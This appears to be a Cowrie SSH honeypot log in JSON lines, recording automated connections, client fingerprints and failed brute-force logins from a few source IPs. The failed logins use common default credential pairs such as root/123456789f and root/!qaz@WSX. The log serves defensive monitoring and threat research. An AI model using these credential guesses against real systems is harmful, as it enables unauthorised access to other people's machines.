{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:36.093892Z","src_ip":"43.134.24.11","session":"83f2fdc22d21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":28515,"dst_ip":"10.17.0.5","dst_port":22,"session":"6264a2a3c085","protocol":"ssh","message":"New connection: 43.134.24.11:28515 (10.17.0.5:22) [session: 6264a2a3c085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:39.689969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:39.694519Z","src_ip":"43.134.24.11","session":"6264a2a3c085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:39.932603Z","src_ip":"43.134.24.11","session":"6264a2a3c085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:40.646643Z","src_ip":"43.134.24.11","session":"6264a2a3c085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:41.886906Z","src_ip":"43.134.24.11","session":"6264a2a3c085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d641705c8e","protocol":"ssh","message":"New connection: 194.113.233.25:53814 (10.17.0.5:22) [session: 37d641705c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:43.590142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:43.594733Z","src_ip":"194.113.233.25","session":"37d641705c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:43.684114Z","src_ip":"194.113.233.25","session":"37d641705c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789f","message":"login attempt [root/123456789f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:43.955143Z","src_ip":"194.113.233.25","session":"37d641705c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:45.048630Z","src_ip":"194.113.233.25","session":"37d641705c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":7289,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bf3f2e01b51","protocol":"ssh","message":"New connection: 43.134.24.11:7289 (10.17.0.5:22) [session: 6bf3f2e01b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:45.353070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:45.404485Z","src_ip":"43.134.24.11","session":"6bf3f2e01b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:45.602180Z","src_ip":"43.134.24.11","session":"6bf3f2e01b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:46.576720Z","src_ip":"43.134.24.11","session":"6bf3f2e01b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:47.825202Z","src_ip":"43.134.24.11","session":"6bf3f2e01b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":28516,"dst_ip":"10.17.0.5","dst_port":22,"session":"dad24e98a43d","protocol":"ssh","message":"New connection: 43.134.24.11:28516 (10.17.0.5:22) [session: dad24e98a43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:51.114514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:51.122840Z","src_ip":"43.134.24.11","session":"dad24e98a43d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:51.353578Z","src_ip":"43.134.24.11","session":"dad24e98a43d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:52.044270Z","src_ip":"43.134.24.11","session":"dad24e98a43d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:53.277039Z","src_ip":"43.134.24.11","session":"dad24e98a43d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":23311,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e1b767b208","protocol":"ssh","message":"New connection: 43.134.24.11:23311 (10.17.0.5:22) [session: 78e1b767b208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:56.812898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:56.818718Z","src_ip":"43.134.24.11","session":"78e1b767b208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:57.064789Z","src_ip":"43.134.24.11","session":"78e1b767b208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:57.803934Z","src_ip":"43.134.24.11","session":"78e1b767b208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:59.053699Z","src_ip":"43.134.24.11","session":"78e1b767b208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":12457,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa87bb81b46e","protocol":"ssh","message":"New connection: 43.134.24.11:12457 (10.17.0.5:22) [session: fa87bb81b46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:02.511767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:02.517994Z","src_ip":"43.134.24.11","session":"fa87bb81b46e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:02.756877Z","src_ip":"43.134.24.11","session":"fa87bb81b46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:03.535580Z","src_ip":"43.134.24.11","session":"fa87bb81b46e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:04.868074Z","src_ip":"43.134.24.11","session":"fa87bb81b46e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60773,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bfe12193898","protocol":"ssh","message":"New connection: 43.134.24.11:60773 (10.17.0.5:22) [session: 3bfe12193898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:08.505653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:08.510418Z","src_ip":"43.134.24.11","session":"3bfe12193898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:08.757544Z","src_ip":"43.134.24.11","session":"3bfe12193898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:09.498633Z","src_ip":"43.134.24.11","session":"3bfe12193898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:10.749014Z","src_ip":"43.134.24.11","session":"3bfe12193898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33266,"dst_ip":"159.203.135.109","dst_port":22,"session":"a89f407038ad","protocol":"ssh","message":"New connection: 51.250.105.222:33266 (159.203.135.109:22) [session: a89f407038ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:11.683222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:11.688711Z","src_ip":"51.250.105.222","session":"a89f407038ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:11.819090Z","src_ip":"51.250.105.222","session":"a89f407038ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6661313","message":"login attempt [root/6661313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:12.210044Z","src_ip":"51.250.105.222","session":"a89f407038ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:13.342891Z","src_ip":"51.250.105.222","session":"a89f407038ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54963,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef1253e1b65","protocol":"ssh","message":"New connection: 43.134.24.11:54963 (10.17.0.5:22) [session: 2ef1253e1b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:14.275854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:51:14.280819Z","src_ip":"43.134.24.11","session":"2ef1253e1b65","protocol":"ssh"}
